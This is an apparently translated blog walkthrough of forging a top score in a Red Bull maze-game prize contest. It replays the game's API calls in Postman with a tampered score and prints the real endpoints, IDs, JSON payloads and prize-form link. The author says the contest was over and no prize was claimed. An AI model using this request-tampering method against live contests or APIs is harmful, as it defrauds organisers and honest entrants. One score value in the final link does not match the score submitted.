كيفية "اختراق" RedBull

في الواقع ، من الأصح تسمية المقالة "كيف تحصل على نقاط في المنافسة للفوز بثلاجة RedBull كاملة". بالمناسبة ، لدينا بالفعل مثل هذه الثلاجة مع المشروبات في مكتبنا.



عندما تم توصيل العصائر والمشروبات الغازية وغيرها من المشروبات إلى المكتب مرة أخرى ، وجدت نشرة تعلن عن المنافسة ، وكان جوهرها إكمال اللعبة وسيفوز الفائز بثلاجة لمشروبات الطاقة.

الثلاجة الثانية لن تؤذينا - لقد قمنا للتو بالتوسع ، ولدينا غرف مكتب جديدة. لذلك اتبعت الرابط وقررت أن أجرب حظي ، وكانت محاولتي فاشلة وانتهى بي المطاف في مكان ما في نهاية التقييم. كانت اللعبة أن تمر عبر عدة مستويات من المتاهة في أسرع وقت ممكن.

الآن تحتاج إلى ارتداء النظارات الشمسية ، وتشغيل الشبكات الافتراضية الخاصة ، وجميع أنواع الوكلاء ، إلخ.

دعونا ننكب على العمل


مع العلم تمامًا أن أي لعبة على الويب هي سلسلة من الطلبات ، ومعرفة سوق التطوير ، حيث يوجد العديد من الهواة ، قررت أن أجرب حظي في الاتجاه الآخر وفجأة أتعثر في الثغرات في اللعبة. ليس لأنني بحاجة إلى هذه الثلاجة كثيرًا ، فقد حصلت على اهتمام رياضي.

http://redbull.ru/work سنتتبع
الطلبات في المتصفح ، وبعد ذلك سنحاول إرسال نفس الطلبات ، ولكن مع القيم المتغيرة.



الخطوة الأولى هي طلب لبدء اللعبة:

https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs

في الوقت نفسه ، نلاحظ في الرابط id = 8970c40a-98f0-4395-85c8-66177fb38af0.
في بعض الأحيان نقوم بتحديث الصفحة في المتصفح ، ويتم فتحها من عنوان IP مختلف وفي متصفح آخر ، لا تتغير هذه المعلمة ، ونفترض أن هذا هو معرف ثابت للعبة.

نلاحظ أيضًا أنه في معلمات رأس نوع البيانات

accept: 
application/vnd.api+json

استجابة لهذا الطلب نحصل على الجواب:



{
    "data":{
        "attributes":{
            "finished_at":null,
            "game_day":114,
            "game_week":17,
            "score":null
        },
        "id":"4f89d56d-884e-42e8-909d-d1e7547cc1d8",
        "links":{
            "self":"https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/4f89d56d-884e-42e8-909d-d1e7547cc1d8"
        },
        "relationships":{},
        "type":"runs"
    },
    "included":[],
    "links":{
        "self":"https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/4f89d56d-884e-42e8-909d-d1e7547cc1d8"
    }
}

في الجواب ، يمكنك ملاحظة سمات مختلفة وأخرى id = 4f89d56d-884e-42e8-909d-d1e7547cc1d8، والتي يبدو أنها معرفنا الشخصي للعبة.

نبدأ اللعبة.



نحن نراقب الطلبات. نرى أنه لا يظهر شيء جديد ، أي أنه لا توجد مراحل لتمرير مشغل اللعبة. فقط في حالة التحقق ، ربما يكون هناك شيء ما على مقابس الويب - وهو أيضًا فارغ هناك.



في نهاية المباراة ، نحن في مكان ما في الترتيب ، لكننا لسنا أول من يحزن للغاية. الى الان.
نحن ننظر إلى وحدة التحكم ونرى أنه تم إرسال طلبين آخرين ، ولكن أحدهما كان لتلقي المقالات ، والآخر للحصول على تصنيف اللاعبين. هناك القليل من المفيد هنا ، نتذكر تصنيف المركز الأول - 61454667.

انقر على الزر لحفظ النتيجة.



تم إرسال طلب url آخر

https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs/4f89d56d-884e-42e8-909d-d1e7547cc1d8/submit

مع المعلمات

{
    "data":{
        "id":"8970c40a-98f0-4395-85c8-66177fb38af0",
        "type":"runs",
        "attributes":{
            "score":11041900
        }
    }
}

يصبح من الواضح أن الرابط يتكون من المعرف الثابت للعبة ومعرف جلستنا. في المعلمات ، يتم نقل الحساب ، والذي سيتم حفظه من قبلنا والمشاركة في التصنيف.



في المرحلة التالية ، تفتح صفحة ذات نموذج ، والتي يتم تحميلها في iframe. نلاحظ أن معرف جلستنا متضمن في الرابط:
https://redbull.jotform.com/93071907238864&runid=4f89d56d-884e-42e8-909d-d1e7547cc1d8&runscore=11041900&redirect=https://maze.redbull.com

بعد إرسال النموذج ، نتلقى تأكيدًا.



نكرر الآن جميع الطلبات نفسها ، ولكن ليس من خلال المتصفح.

سأستخدم Postman.

نرسل طلب

https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs




تلقى الجواب:

{
    "data": {
        "attributes": {
            "finished_at": null,
            "game_day": 114,
            "game_week": 17,
            "score": null
        },
        "id": "f95dad7c-eecf-4d3a-88e9-a32661a484e4",
        "links": {
            "self": "https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4"
        },
        "relationships": {},
        "type": "runs"
    },
    "included": [],
    "links": {
        "self": "https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4"
    }
}

الأهم هنا

id = f95dad7c-eecf-4d3a-88e9-a32661a484e4

الآن شكل رابطًا للحصول على التصنيف. سنحتاج إلى معرف جلسة العمل والنتيجة التي ستكون أكثر من الرقم القياسي الحالي 61454667. للحصول على علم الجمال ، خذ الرقم الأول من الرقم 2 * pi ، أكثر بقليل من الرقم القياسي.

ارسل طلب

https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4/leaderboard?score=62831853&filter[interval]=none



في الجواب نرى أننا بالفعل الأول في القائمة ، الآن سنحفظ النتيجة.

سوف نرسل طلب إلى

https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4/submit

في هذا الطلب ، من المهم تحديد سمات الرؤوس.





ممتاز! كل شيء سار على ما يرام ، تلقى تأكيدا للنتيجة. الآن تحتاج إلى إرسال تفاصيل الاتصال حتى اتصل بنا RedBull.

للقيام بذلك ، ما عليك سوى فتح رابط في المتصفح مع النموذج بمعرف الجلسة.

https://redbull.jotform.com/93071907238864&runid=f95dad7c-eecf-4d3a-88e9-a32661a484e4&runscore=61454667&redirect=https://maze.redbull.com



املأ الاستمارة.

نحن نرسل.



نحصل على تأكيد!

انتهت المسابقة بالفعل ، واستمرت حتى 31 يناير 2020.

PS في وقت النشر ، تم الانتهاء من السحب ، خلال الحملة التي لم نشارك فيها ، لم ندعي النصر. جميع الأوصاف هي لأغراض إعلامية فقط. لم يتم اتباع أي قيم تجارية أو غيرها من خلال هذه الإجراءات.

All Articles